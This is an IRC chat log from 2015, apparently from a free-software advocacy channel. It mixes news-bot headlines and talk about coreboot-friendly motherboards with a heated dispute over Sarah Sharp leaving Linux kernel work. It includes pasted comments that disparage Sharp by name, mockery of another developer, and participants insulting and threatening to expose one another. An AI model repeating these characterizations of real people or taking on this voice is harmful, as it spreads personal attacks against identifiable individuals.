msb_	People will get very pissed at us if they buy machines according to our recommendations and then find that they can't do things that their friends with crappy windows computers _can_ do, because their friends have 8-core CPUs.	Oct 07 17:33
schestowitz	https://twitter.com/longtheriverrun/status/651875563091660800	Oct 07 17:44
-TechrightsBot-tr/#techrights-@longtheriverrun: @schestowitz "Kunduz has a largely mixed population, including Tajiks, Pashtuns, Uzbeks, Khowar, Arabs and a few others." wikipedia		Oct 07 17:44
schestowitz	"	Oct 07 17:53
schestowitz	Not fucking cool. Violence, whether it be physical intimidation, verbal threats or verbal abuse is not acceptable. Keep it professional on the mailing lists.	Oct 07 17:53
schestowitz	What the heck? The only thing she could be referring to this thread so far has been Linus talking about Greg being a giant who might "squish you without even noticing". Nobody could seriously interpret that as advocating for violence unless you were so unbelievably literal you'd be unable to handle ordinary conversations.	Oct 07 17:53
schestowitz	And then there's the conflation of "verbal abuse" with "violence". These are two words that mean very different things. And finally the assertion that by trying to make jokes (perhaps not very well), Linus and Ingo were being unprofessional. Not surprisingly, Linus had a problem with this claim.	Oct 07 17:53
schestowitz	Now I don't know, probably this could have been avoided if the discussion with Greg had been private. But it seems Sharp would have let rip at some other point if someone else made an off-colour joke. I can believe LKML is a tough environment, but this isn't the best evidence possible. Perhaps there have been other incidents, but as Sharp doesn't list any, it's hard to say.”	Oct 07 17:53
schestowitz	"	Oct 07 17:53
schestowitz	"	Oct 07 17:54
schestowitz	So she's a social justice warrior troll doing this for attention? Called it earlier. Expect her to have a Patreon account up within a few days, as well as a campaign started explaining why Linus is problematic and needs to be removed from Linux development soon, or how Linux needs a safe space special interest group so feminist coders can submit their commits without being threatened by people pointing out their code sucks. Because remember	Oct 07 17:54
schestowitz	kids, criticism is "Cyber Violence. [popehat.com]"”	Oct 07 17:54
schestowitz	As an aside, she's a blockbot user, so yes, she most definitely is a SJW or a SJW ally: https://twitter.com/sarahsharp	Oct 07 17:54
schestowitz	(If you're blocked and have never even spoken with her, congratulations, you're a member of Randy Harper's blacklist, [leagueforgamers.com] an list of white men, gamers, nerds, conservatives, KFC, President Obama, and other people Randy Harper and her radical feminist friends consider too "problematic" to be allowed to communicate with people in the tech industry.)	Oct 07 17:54
-TechrightsBot-tr/#techrights-twitter.com \| Sarah Sharp (@sarahsharp) \| Twitter		Oct 07 17:54
schestowitz	In short: She might be a gifted programmer, but she's a weak willed human being, and her having a professional freakout about Linus making a joke about being intimidating isn't surprising -- it's a calculated maneuver. Expect something else to come up soon -- as mentioned, Linus will be deemed too problematic to be allowed to remain in Linux, or the Professional Victims will demand special treatment for Women in Linux Development.	Oct 07 17:54
schestowitz	"	Oct 07 17:54
schestowitz	"	Oct 07 17:55
schestowitz	Curunir: ”What struck me about what she was trying to do, and I've seen others try to do the same thing, is to equate some comment or comments on a mailing list, or other post, as "violence". When I grew up we learned that "Sticks and stones will break my bones but words will never hurt me." That is, they're just words, they are not fists or knives or guns. It's not "violence" to berate someone or use colorful language or anything else.	Oct 07 17:55
schestowitz	It may "offend" you, but taking offense at something someone says is entirely subjective, and impossible to enforce, because you end up with "speech codes", banning words, and other asinine restrictions until everything is a euphemism or metaphor until no one knows what anyone is talking about any more.	Oct 07 17:55
schestowitz	Bullying used to mean you're getting physically intimidated, punched, kicked, assaulted or robbed regularly. Now it seems it's enough that someone said something that hurt your feelings. And people can get their feelings hurt by things that are totally NOT intended that way by the speaker, just because of the listener's history or viewpoint.	Oct 07 17:55
schestowitz	Equating speech to physical violence is a very dangerous trend that will not end well.”	Oct 07 17:55
schestowitz	"	Oct 07 17:55
schestowitz	"	Oct 07 17:55
schestowitz	EpyT: ”Feminism presents it as a battle between male space or a female space. It's a false dichotomy. The hypocrisy is that feminists expect men to take the 'chivalrous' route and modify their interaction styles for women, yet asking women to reciprocate with some toughness and objectivity is 'oppressive' or 'misogynistic.' The net result is that men are driven out of areas where women have gotten their PC 'safe spaces' for their	Oct 07 17:55
schestowitz	interaction and thinking styles because men do not do well there. Just ask a male nurse. Fighting discrimination with discrimination is not a solution.	Oct 07 17:55
schestowitz	I'm a fan of what works for a given environment and given group of people. The individuals making up the bulk of the effort are the ones who decide the culture simply because they are the most productive. Anything else would drive these productive individuals out and weaken the result. Linus and his lieutenants are far more productive than sarah sharp is, and she is not happy with the interaction style they set, so she goes. No big loss. She'	Oct 07 17:55
schestowitz	s welcome to either adapt to that or work on a different project. If her viewpoint is truly superior and her politics in line with reality, it should be a no brainer to fork the kernel and demonstrate this. The best contributors would flock to her and, in time, her branch would be the technically superior one. She should be showing us 'misogynists' how it's done instead of whining and stirring up shitstorms.”	Oct 07 17:55
schestowitz	"	Oct 07 17:55
schestowitz	" Oxdeadbeef: ”This isn't empowering women. This is arguing that they are weaker than men far more profoundly than any MRA red piller gamer gater misogynist could ever hope to accomplish.” "	Oct 07 17:55
TweetTuxMachines	@tuxmachines Real-time Linux gets a leg up into more complex	Oct 07 18:15
TweetTuxMachines	computing systems http://t.co/kLiFq1mBKp	Oct 07 18:15
TweetTuxMachines	(www.zdnet.com)	Oct 07 18:15
-TechrightsBot-tr/#techrights-www.zdnet.com \| Real-time Linux gets a leg up into more complex computing systems \| ZDNet		Oct 07 18:15
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TweetTuxMachines	@tuxmachines Today in Techrights http://t.co/FmNd6Bs3Wn	Oct 07 18:15
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TweetTuxMachines	@tuxmachines UbuContest 2015 Winners Announced, Gaming Is	Oct 07 18:15
TweetTuxMachines	Leading the Charge on Ubuntu Touch	Oct 07 18:15
TweetTuxMachines	http://t.co/pwJCHYDsBR (news.softpedia.com)	Oct 07 18:15
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TweetTuxMachines	@tuxmachines Creators of the Benevolent Linux.Wifatch	Oct 07 18:26
TweetTuxMachines	Malware Reveal Themselves	Oct 07 18:26
TweetTuxMachines	http://t.co/NPmVZqhYKS (news.softpedia.com)	Oct 07 18:26
TweetTuxMachines	cited RMS	Oct 07 18:26
-TechrightsBot-tr/#techrights-news.softpedia.com \| Creators of the Benevolent Linux.Wifatch Malware Reveal Themselves - Softpedia		Oct 07 18:26
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msb_	schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link?	Oct 07 18:33
cubexyz	I'm not saying to herd people onto chromebooks	Oct 07 18:35
cubexyz	but that seems one of the better choices at the moment	Oct 07 18:35
msb_	I know. Sorry if that was implied.	Oct 07 18:35
cubexyz	people should have computers with FOSS BIOS, FOSS operating system, and fully repairable	Oct 07 18:36
msb_	It's not a good choice if people want to play games, edit videos, or watch x265s, which many do.	Oct 07 18:36
cubexyz	I'm at a loss to suggest anything at the laptop level	Oct 07 18:36
cubexyz	I'm not totally happy with chromebooks either	Oct 07 18:37
msb_	Yes, they _should_ have that, but we need to come up with solutions that have both a good degree of security and state-of-the-cheap-art speed.	Oct 07 18:38
cubexyz	not modular enough, not fully repairable, uses soldered in memory modules (sometimes)	Oct 07 18:38
msb_	We can't let the perfect be the enemy of the good.	Oct 07 18:38
msb_	So we need adequate security, good speed, and suitability for people who already have computers and those looking to buy new ones.	Oct 07 18:40
cubexyz	well they may have what I'd call a bic-lighter computer	Oct 07 18:42
cubexyz	in that case, it's too late	Oct 07 18:42
msb_	But they can still switch to Linux.	Oct 07 18:43
cubexyz	if you have a crappy motherboard, or a crappy LCD with bad caps, it probably needs to be replaced	Oct 07 18:43
cubexyz	of course, it could be repaired with a lot of effort	Oct 07 18:43
msb_	That's the ideal, but if the thing still works, a $0 partial solution is better than a $2000 solution (except for rich people).	Oct 07 18:44
cubexyz	I actually have a bunch of laptops to fix	Oct 07 18:45
cubexyz	bad GPU, bad keyboards, bad power supplies	Oct 07 18:45
msb_	laptop/desktop is the other dimension we have to provide for	Oct 07 18:45
cubexyz	but even after I fix them I doubt anyone will really want them	Oct 07 18:45
msb_	Load them with Linux and give them to kids.	Oct 07 18:46
msb_	or schools	Oct 07 18:46
msb_	brb	Oct 07 18:48
cubexyz	I still have a lot of monitors with VGA connectors so that's a concern too	Oct 07 18:56
TweetTuxMachines	@tuxmachines Humble Indie Bundle 15 Extended to 10 Awesome	Oct 07 19:08
TweetTuxMachines	Linux Games http://t.co/2BJ7iXcoh1	Oct 07 19:08
TweetTuxMachines	(news.softpedia.com) http://t.co/JsbrbsqMD8	Oct 07 19:08
-TechrightsBot-tr/#techrights-news.softpedia.com \| Humble Indie Bundle 15 Extended to 10 Awesome Linux Games - Softpedia		Oct 07 19:08
TweetTuxMachines	(www.develop-online.net)	Oct 07 19:08
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-TechrightsBot-tr/#techrights-www.develop-online.net \| Q.U.B.E: Director's Cut Available on NVidia Shield, Linux, Mac and currently in the latest Humble Indie Bundle! \| Games industry press releases \| Develop		Oct 07 19:08
TweetTuxMachines	@tuxmachines Unvanquished 44 First-Person Shooter Game	Oct 07 19:08
TweetTuxMachines	Released with Drastic Gameplay Modifications	Oct 07 19:08
TweetTuxMachines	http://t.co/ZWf0x7l5bk (news.softpedia.com)	Oct 07 19:08
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schestowitz	https://www.reddit.com/r/mistyfront/comments/3nfzg0/the_microsoft_loves_linux_baloney_is_still_being/	Oct 07 19:11
schestowitz	[23:33] <msb_> schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link?	Oct 07 19:11
schestowitz	yes, very much so	Oct 07 19:11
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schestowitz	"the fish rots from the head"	Oct 07 19:11
schestowitz	that sort of thing	Oct 07 19:11
schestowitz	so they did some changes, press campsign	Oct 07 19:12
schestowitz	and despite that she throws a fit	Oct 07 19:12
schestowitz	this is NOT going to help feminism	Oct 07 19:12
schestowitz	if anything, companies might hesitate to recruit women	Oct 07 19:12
schestowitz	seeing how much damage this can lead to if they feel discriminated against	Oct 07 19:12
schestowitz	so such stuff typically is just drama making which in turn severely harms women's rights	Oct 07 19:12
schestowitz	but let's leave gender out of it for now	Oct 07 19:13
schestowitz	because some other people complain about culture in Linux	Oct 07 19:13
schestowitz	LP too	Oct 07 19:13
schestowitz	"open source tea party" man	Oct 07 19:13
schestowitz	they're usuallly hypocrites	Oct 07 19:13
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MinceR	they can push cancerd together	Oct 07 19:14
MinceR	and global censorship too!	Oct 07 19:14
cubexyz	it's not just Linux	Oct 07 19:15
cubexyz	the BSD community is a bit exclusionistic	Oct 07 19:16
cubexyz	the old US vs Them mentality	Oct 07 19:18
MinceR	msb_: i think it's this one: http://sarah.thesharps.us/2015/10/05/closing-a-door/	Oct 07 19:24
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MinceR	(linked from the hungarian news post on the matter)	Oct 07 19:25
cubexyz	ok, I've found a motherboard that could be very close to ideal	Oct 07 19:29
cubexyz	Gigabyte GA-B75M-D3V	Oct 07 19:29
cubexyz	dual BIOS/UEFI with two 64Mbit flash chips	Oct 07 19:30
cubexyz	good for tinkering	Oct 07 19:30
cubexyz	you can flash it with coreboot without fear of bricking it	Oct 07 19:30
cubexyz	MSI is also worthy of consideration	Oct 07 19:32
cubexyz	the ship firmware update tools for Linux	Oct 07 19:32
cubexyz	s/the/they/	Oct 07 19:33
cubexyz	looks like the Gigabyte board still has a parallel port and VGA connector, even better	Oct 07 19:35
cubexyz	all solid capacitors	Oct 07 19:36
cubexyz	LGA1155 socket	Oct 07 19:38
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cubexyz	msb_, here is the CPU support list for that motherboard:	Oct 07 19:48
cubexyz	http://www.gigabyte.com/support-downloads/cpu-support-popup.aspx?pid=4654	Oct 07 19:48
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cubexyz	Core i3-2120T looks interesting, only 35W	Oct 07 19:49
cubexyz	Xeon E3-1220L only 20W	Oct 07 19:50
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msb_	This is just about attacks from MS [ http://ur1.ca/nyco6 ].	Oct 07 19:51
-TechrightsBot-tr/#techrights-www.reddit.com \| The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront		Oct 07 19:51
msb_	This one is relevant -- thanks MinceR -- http://sarah.thesharps.us/2015/10/05/closing-a-door/ .	Oct 07 19:52
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msb_	Even Robert Pogson agrees that "Linus and others are wrong to treat abuse as emphasis. It’s not. It’s bullying," Isn't Pogson a good guy?	Oct 07 19:54
cubexyz	you can disagree with Linus and still be a good guy	Oct 07 19:55
cubexyz	I certainly don't agree with everything he says	Oct 07 19:55
msb_	Right. That's what I'm saying.	Oct 07 19:55
MinceR	i certainly disagree with him on several matters	Oct 07 19:57
msb_	He's accepting systemd for one thing.	Oct 07 19:57
MinceR	indeed. also, fedora.	Oct 07 19:57
msb_	Maybe Sharp is right, and a more civil atmosphere on LKML would have good results, like encouraging more women to participate. An environment that discourages half the human race is not good.	Oct 07 19:59
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MinceR	encouraging people to silence and censor others is also not good	Oct 07 20:00
XFaCE	MinceR: Lennart endorses Garrettix in 5 4 3 2...	Oct 07 20:01
MinceR	continually and increasingly neutering language for the sake of political correctness is also not good	Oct 07 20:01
cubexyz	double plus ungood	Oct 07 20:02
MinceR	http://media.dcentertainment.com/sites/default/files/imce/2015/10-OCT/MAD-Magazine-Ben-Carson-Neurosurges-Himself_56156b98604c96.90064117.jpg	Oct 07 20:02
XFaCE	MinceR: seriously tho, this scares the shit out of me	Oct 07 20:03
msb_	cubexyz: Are any of the cpus handled by that gigabyte board 8-core, $200, with speed near the AMD FX-8350?	Oct 07 20:03
MinceR	there are plenty of things to scare the shit out of anybody now	Oct 07 20:03
XFaCE	MinceR: Corporate influence "backing" Garrett's kernel	Oct 07 20:04
MinceR	what, garrett forked linux?	Oct 07 20:04
MinceR	apparently so	Oct 07 20:04
XFaCE	yep	Oct 07 20:04
MinceR	can the redcrap guys please fuck off and go pollute garrett's kernel then?	Oct 07 20:04
MinceR	they can take their bloody kdbus too	Oct 07 20:05
XFaCE	if only	Oct 07 20:05
XFaCE	actually no	Oct 07 20:05
XFaCE	MinceR: then an agenda begins	Oct 07 20:05
XFaCE	and Garrettix becomes the "morally good" kernel project	Oct 07 20:05
MinceR	that's fine, i don't plan on using it anyway	Oct 07 20:05
cubexyz	for gaming the experts are saying I5 over AMD	Oct 07 20:07
cubexyz	but I'm not too worried about that	Oct 07 20:07
XFaCE	MinceR: : Garrettux is the only moral choice	Oct 07 20:08
MinceR	the sjws can have systemd/garrettix for all i care	Oct 07 20:08
MinceR	they can even lock gnome and kde into it	Oct 07 20:08
cubexyz	quoting: "i5 2500K >>>>> FX 8150"	Oct 07 20:08
cubexyz	depends on what you use your computer for... for me, it's not a big deal either way	Oct 07 20:08
MinceR	XFaCE: yeah, one more group with their own bullshit "morality", like christians	Oct 07 20:09
XFaCE	MinceR: meet the new boss, same as the old boss	Oct 07 20:09
MinceR	i'm tired of people with unwarranted self-importance but no technical skills trying to fuck up everything for everyone	Oct 07 20:09
msb_	Abusive language is not necessary for criticizing code. And if it discourages women from participating, then it should not be used. Abusive language is a form of domination, with a winner and a loser. We need to get away from that.	Oct 07 20:11
MinceR	except what they're doing is also a form of domination	Oct 07 20:11
MinceR	what the UN is doing with it should make that obvious.	Oct 07 20:12
XFaCE	MinceR: I just shuddered	Oct 07 20:13
msb_	Sharp is withdrawing and calmly criticizing. That's not domination.	Oct 07 20:13
XFaCE	MinceR: what if this Garrettix leads to a Microsoft Linux	Oct 07 20:13
MinceR	there have been m$ linuxes for a while already	Oct 07 20:13
MinceR	suse, for example	Oct 07 20:13
XFaCE	yeah but, the kernel itself	Oct 07 20:14
XFaCE	NTLinux or some shit	Oct 07 20:14
MinceR	that's fine, as long as they don't force it on me	Oct 07 20:14
XFaCE	MinceR: I'm betting that'll be the case for 30 seconds	Oct 07 20:14
MinceR	they already have their atrocious code in the official linux tree	Oct 07 20:14
cubexyz	you just have to check everything	Oct 07 20:15
MinceR	it's about as shitty as you'd expect	Oct 07 20:15
cubexyz	check the OS, check the firmware, check the motherboard...	Oct 07 20:15
MinceR	we'd have to build a free computer from the ground up anyway	Oct 07 20:15
XFaCE	cubexyz: Now Systemd can link to your Microsoft account (TM)!	Oct 07 20:15
MinceR	lol	Oct 07 20:15
cubexyz	not on openbsd it can't :)	Oct 07 20:15
cubexyz	I bet I see some conversions...	Oct 07 20:16
XFaCE	microsoftd	Oct 07 20:16
XFaCE	cubexyz: Plan 9	Oct 07 20:16
XFaCE	Linux-libre too	Oct 07 20:16
msb_	cubexyz: The i5 2500K costs twice as much as the FX-8350 $360 vs $180, and gives 2/3 the power 6000 vs 9000	Oct 07 20:20
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msb_	Women are inherently just as good at technical stuff as men. I read decades ago that half the mathematicians in Russia and Italy are women.	Oct 07 20:23
MinceR	who said they weren't?	Oct 07 20:25
msb_	Nobody, but if chronically abusive language in the LKML discourages them from participating in kernel design, that's a good reason to change the language, since the same criticisms of the code can still be communicated.	Oct 07 20:27
MinceR	if it's people like garrett and poettering, then perhaps it's a good thing they're discouraged from participating	Oct 07 20:29
MinceR	do you have any concrete examples of this "chronically abusive language"?	Oct 07 20:30
msb_	Linus is famous for it.	Oct 07 20:31
MinceR	do you have any concrete examples?	Oct 07 20:31
MinceR	especially ones that discourage people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel	Oct 07 20:31
msb_	google for Linus abusive language 64000 hits	Oct 07 20:33
MinceR	do you not have access to google?	Oct 07 20:33
msb_	The problem is that abusive language "discouraging people from trying to push stupid shit into the kernel" also creates an intimidating atmosphere for other people.	Oct 07 20:34
msb_	And it's unnecessary.	Oct 07 20:35
MinceR	so every patch should be integrated into the mainline kernel, lest somebody be offended?	Oct 07 20:35
MinceR	also, how is giving feedback on people's code and designs "unnecessary"?	Oct 07 20:35
msb_	You totally misinterpreted what I said.	Oct 07 20:35
msb_	and you did it again.	Oct 07 20:35
MinceR	does all code have equal right to run on my computer?	Oct 07 20:35
msb_	#3	Oct 07 20:36
msb_	keep going -- you're on a roll downhill into the mud	Oct 07 20:36
MinceR	once again, do you have any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel	Oct 07 20:36
MinceR	ooh, ad hominem	Oct 07 20:36
msb_	Yes, in response to three presumably intentional misinterpretations of what I said.	Oct 07 20:37
MinceR	you still owe all of us the official interpretation	Oct 07 20:37
MinceR	as well as any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel	Oct 07 20:37
msb_	I said that abusive language should be eliminated, " since the same criticisms of the code can still be communicated." That was ten minutes ago.	Oct 07 20:38
cubexyz	another amusing sham message:	Oct 07 20:39
cubexyz	http://www.maxhost.org/other/sham-windows-security-message.png	Oct 07 20:39
MinceR	lol	Oct 07 20:39
cubexyz	I'm surprised it doesn't say the "Communists are holding your Mother"	Oct 07 20:40
MinceR	msb_: perhaps you should start eliminating abusive language from your own communication first.	Oct 07 20:40
MinceR	cubexyz: lol	Oct 07 20:41
XFaCE	MinceR: ur a poo poo head	Oct 07 20:42
msb_	MinceR: you do it against me far more often than I do it against you	Oct 07 20:42
MinceR	msb_: that's probably false, but the point is that you're the one trying to use it to generate the illusion of a moral high ground you never had	Oct 07 20:44
MinceR	you're trying to have all the cakes and eat all of them too	Oct 07 20:44
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msb_	MinceR: Please avoid talking about me in this discussion, which is about abusive language in the LKML.	Oct 07 20:46
MinceR	msb_: you too.	Oct 07 20:47
msb_	There are some examples in this article from two years ago: http://arstechnica.com/information-technology/2013/07/linus-torvalds-defends-his-right-to-shame-linux-kernel-developers/	Oct 07 20:48
-TechrightsBot-tr/#techrights-arstechnica.com \| Linus Torvalds defends his right to shame Linux kernel developers \| Ars Technica [ http://ur1.ca/nyddh ]		Oct 07 20:48
MinceR	naturally, it comes from m$ spokeshole Arse Technica	Oct 07 20:48
MinceR	m$ and crApple tries every last trick from the book in an attempt to eliminate competition and turn computers into zombies in their botnets	Oct 07 20:51
msb_	Starhawk talks about "power with" instead of "power over". IOW working cooperatively with people instead of dominating them.	Oct 07 20:51
MinceR	and what's their design and code like?	Oct 07 20:52
MinceR	i've seen plenty of people attacking free software projects under the banner of political correctness, but i have seen a lot less of their actual contributions.	Oct 07 20:52
msb_	If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated.	Oct 07 20:55
MinceR	can you show me one example of linus attacking people by gender, sexual preference or skin color?	Oct 07 20:56
msb_	No, but it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them.	Oct 07 20:58
MinceR	so you're basically lying by implication about linus	Oct 07 20:59
MinceR	classy	Oct 07 20:59
MinceR	i'm sure this is much better than using rough language	Oct 07 20:59
MinceR	at any rate, i'm sure garrettix and systemd await your "morally superior" contributions	Oct 07 20:59
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msb_	On what do you base your claim that I'm "basically lying by implication about linus"?	Oct 07 21:00
MinceR	025539 < msb_> If by "political correctness" you mean not attacking groups of people by gender, sexual preference, skin color, etc., that should be eliminated.	Oct 07 21:01
msb_	And here you have done an extremely nasty personal attack. Why do you keep doing this? "i'm sure garrettix and systemd await your "morally superior" contributions"	Oct 07 21:02
MinceR	that's "extremely nasty"? interesting	Oct 07 21:02
MinceR	maybe you should read your own personal attacks on me, for contrast	Oct 07 21:03
msb_	And in the next sentence I said " it's also bad to attack individuals instead of politely criticising their work."	Oct 07 21:03
MinceR	afaict most of the "attacks" from linus concern people's "work"	Oct 07 21:04
msb_	MinceR: Did you understand this? "it's also bad to attack individuals instead of politely criticising their work. It doesn't help them to contribute, and it causes others to imagine subconsciously that they're being attacked in the same way, so it discourages them.	Oct 07 21:05
msb_	"e-mails from Torvalds containing language such as "Mauro, SHUT THE FUCK UP!" and "Rafael, please don't ever write that crap again."	Oct 07 21:07
MinceR	the first basically applies to Mauro's message	Oct 07 21:07
MinceR	in the second, "that crap" is not a person, it's something they wrote	Oct 07 21:07
msb_	If you can't see that "Mauro, SHUT THE FUCK UP!" applies to a person, then you are distorting reality in an effort to prove your claim.	Oct 07 21:09
MinceR	you obviously know everything about distorting reality in an effort to prove your claim	Oct 07 21:10
MinceR	it comes from https://lkml.org/lkml/2012/12/23/75	Oct 07 21:12
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MinceR	though i doubt context will help you at all	Oct 07 21:12
msb_	It's at times like this that I think I'm talking to ELIZA or DOCTOR.	Oct 07 21:12
MinceR	it's at times like this that i think i'm talking to a nutcase.	Oct 07 21:13
MinceR	oh wait.	Oct 07 21:13
msb_	...or PARRY.	Oct 07 21:13
MinceR	again and again you prove that engaging you in conversation is a pure waste of resources	Oct 07 21:14
msb_	A canned response. We'll let the readers (if any) decide for themselves.	Oct 07 21:16
msb_	NoMoRobo is working!	Oct 07 21:17
msb_	One ringydingy and the ghoul is gone.	Oct 07 21:17
MinceR	m$ is waiting for you to install Definitely Morally Superior vista10 on your pc	Oct 07 21:17
MinceR	not touched by mean ol' Linus!	Oct 07 21:17
MinceR	(after all, politically incorrect conversations that happen on private mailing fora you can't see might as well not have happened, right?)	Oct 07 21:19
XFaCE	MinceR: does that mean Ballmer committed cyberviolence with "I'm going to fucking kill Google"?	Oct 07 21:19
MinceR	i don't know, ask the sjw-s	Oct 07 21:19
cubexyz	ha, Google is growing and Microsoft is diminishing	Oct 07 21:20
cubexyz	Ballmer is a fat sweaty blow-hard anyways	Oct 07 21:21
cubexyz	no wonder Microsoft is tanking	Oct 07 21:22
XFaCE	cubexyz: that's is abusive and non-productive	Oct 07 21:22
XFaCE	submit yourself to the speech police now	Oct 07 21:22
MinceR	lol	Oct 07 21:22
XFaCE	very VERY problematic	Oct 07 21:23
MinceR	in the name of Freedom of Speech, you must run all your communications by the Political Correctness Officer for approval!	Oct 07 21:23
cubexyz	developers! developers! developers! :)	Oct 07 21:24
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cubexyz	http://www.maxhost.org/other/windows-10-install-error.png	Oct 07 22:56
cubexyz	you really can't make this stuff up	Oct 07 22:57
MinceR	:)	Oct 07 22:57
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cubexyz	http://www.maxhost.org/other/windows-10-we-fixed-everything.jpg	Oct 07 23:10
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msb_	MinceR: I've recorded that hate-session from you, along with a couple of others. Eventually I'll make a section in my website for them. Since you think you've done nothing wrong, that shouldn't bother you.	Oct 08 00:10
msb_	I have stuff on another psychopath up there that was attacking me in comp.os.linux.advocacy. Once I put the page up, he stopped, and begged me to take it down. But I won't. Cockroaches hate the light.	Oct 08 00:14
msb_	I have logs from all the time I've been in techrights. There's lots of rich Mincer material in them. Constant attacks on me. They'll be easy to find.	Oct 08 00:15
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cubexyz	lol, the Var Guy doesn't know his history very well	Oct 08 00:45
cubexyz	TCP/IP was added to 4.2BSD in 1982	Oct 08 00:46
cubexyz	the internet predates the world wide web by a significant number of years	Oct 08 00:46
cubexyz	Had the Linux Foundation said WWW rather than Internet it would have made a bit more sense	Oct 08 00:47
cubexyz	that was when people started using the word 'internet', the earliest email I have about it is July 1982	Oct 08 00:53
cubexyz	http://www.maxhost.org/other/internet-email-july-1982.txt	Oct 08 00:55
cubexyz	there was networking before TCP/IP of course	Oct 08 01:02
cubexyz	NCP was it's predecessor	Oct 08 01:03
cubexyz	FTP predates TCP/IP and originally ran under NCP	Oct 08 01:03
cubexyz	https://tools.ietf.org/html/rfc801	Oct 08 01:05
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-TechrightsBot-tr/#techrights-@fcassia: #Wintel is more alive than ever and financial pundits are loving it. Color me surprised http://t.co/PUQEA9bLWJ cc/@schestowitz		Oct 08 02:57
-TechrightsBot-tr/#techrights--> seekingalpha.com \| Microsoft: Reimagining Personal Computing - Microsoft Corporation (NASDAQ:MSFT) \| Seeking Alpha		Oct 08 02:57
schestowitz	All hype, little/no sunbstance	Oct 08 02:57
schestowitz	https://twitter.com/floryn90/status/652013791668998144	Oct 08 02:58
-TechrightsBot-tr/#techrights-@floryn90: RT Morality124: .Sargon_of_Akkad TheRalphRetort MisterMetokur #SJW forks the #Linux kernel over Linus Torvalds bei… https://t.co/91lMsxBBpw		Oct 08 02:58
-TechrightsBot-tr/#techrights-@schestowitz: Hypocrite Forks the #Linux #Kernel Because of Cultural Characteristics That He Himself is Guilty of http://t.co/dvf8fTvS0B my response		Oct 08 02:58
schestowitz	https://twitter.com/TheRalphRetort	Oct 08 02:59
-TechrightsBot-tr/#techrights-twitter.com \| TheRalph (@TheRalphRetort) \| Twitter		Oct 08 02:59
schestowitz	https://twitter.com/Morality124/status/651906280588771328	Oct 08 02:59
-TechrightsBot-tr/#techrights-@Morality124: .@schestowitz The same hypocrite who responded to #GamerGate ever so maturely https://t.co/ya43yM6PJ8 @TheRalphRetort @Sargon_of_Akkad		Oct 08 02:59
schestowitz	https://twitter.com/Morality124/status/651905313126391808	Oct 08 03:00
-TechrightsBot-tr/#techrights-@Morality124: .@Sargon_of_Akkad @TheRalphRetort @MisterMetokur #SJW forks the #Linux kernel over Linus Torvalds being "offensive" https://t.co/WH1UV5FkiD		Oct 08 03:00
schestowitz	https://twitter.com/MariusNestor/status/651858428969787392 https://twitter.com/MariusNestor/status/651857631645184004 https://twitter.com/MariusNestor/status/651856855082340352	Oct 08 03:00
-TechrightsBot-tr/#techrights-@MariusNestor: @schestowitz I know…		Oct 08 03:00
-TechrightsBot-tr/#techrights-@MariusNestor: @schestowitz :))		Oct 08 03:00
-TechrightsBot-tr/#techrights-@MariusNestor: @schestowitz Come on, no one is gonna use that kernel... He is dreaming...		Oct 08 03:00
schestowitz	<XFaCE> MinceR: Lennart endorses Garrettix in 5 4 3 2...	Oct 08 03:01
schestowitz	Indeed	Oct 08 03:01
schestowitz	XFaCE: https://twitter.com/mjg59/status/517719901356584960	Oct 08 03:06
-TechrightsBot-tr/#techrights-@mjg59: @Max_x_Milia @IntelGaming @intel FART FART FART FART FART		Oct 08 03:06
schestowitz	That's Farret	Oct 08 03:06
schestowitz	Garrett Garret	Oct 08 03:06
schestowitz	Fart	Oct 08 03:06
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schestowitz	https://twitter.com/Morality124/status/651916331034509312	Oct 08 03:19
-TechrightsBot-tr/#techrights-@Morality124: @mundanematt Can you talk about this next? http://t.co/kCJehn7aJP		Oct 08 03:19
-TechrightsBot-tr/#techrights--> techrights.org \| Hypocrite Forks the Linux Kernel Because of Cultural Characteristics That He Himself is Guilty of \| Techrights		Oct 08 03:19
schestowitz	https://www.joindiaspora.com/posts/6677584	Oct 08 03:20
-TechrightsBot-tr/#techrights-@meitar@joindiaspora.com: Fuck Christopher Columbus, who was a genocidal greedy piece of human garbage. Fuck white supremacy, a system of globalized murder and oppression from which I benefit and STILL have a worse life than I could have had if white supremacy was eradicated like the plague it is. Fuck settler-colonialism, the forced relocation and cultural ethnocide of the poor and working class at the hands of violent enforcers of the ri		Oct 08 03:20
-TechrightsBot-tr/#techrights--> www.youtube.com \| #WhyImMarchingOct12, Abolish Columbus Day, Maymay - YouTube		Oct 08 03:20
schestowitz	https://twitter.com/ale_fattorini/status/652021456948301824	Oct 08 03:30
-TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz do you have tested NethServer yet?		Oct 08 03:30
schestowitz	No, haven't had to yet	Oct 08 03:30
schestowitz	I am still trying to catch up with diaspora (comments included, weeks' worth), but the site is too slow/unavailable, for now...	Oct 08 03:43
schestowitz	https://twitter.com/littlecornwall/status/652026260412080128	Oct 08 03:44
-TechrightsBot-tr/#techrights-@littlecornwall: @schestowitz Probably because #Murdoch thinks that "real blacks" listen to their white slave masters!!		Oct 08 03:44
schestowitz	https://twitter.com/floryn90/status/652015458934255616	Oct 08 03:45
-TechrightsBot-tr/#techrights-@floryn90: RT Morality124: .Sargon_of_Akkad TheRalphRetort MisterMetokur #SJW forks the #Linux kernel over Linus Torvalds bei… https://t.co/91lMsxBBpw		Oct 08 03:45
*TweetTuxMachines @JRepin favourited 'KDE Signs the User Data Manifesto 2.0 https://t.co/YXWhbCWYo0'		Oct 08 03:47
-TechrightsBot-tr/#techrights-dot.kde.org \| KDE Signs the User Data Manifesto 2.0 \| KDE.news		Oct 08 03:47
TweetTuxMachines	@ale_fattorini @tuxmachines do you have tested NethServer yet?	Oct 08 03:47
TweetTuxMachines	........................................ http://ur1.ca/nygct	Oct 08 03:47
schestowitz	https://twitter.com/ale_fattorini/status/652027290658959360	Oct 08 03:50
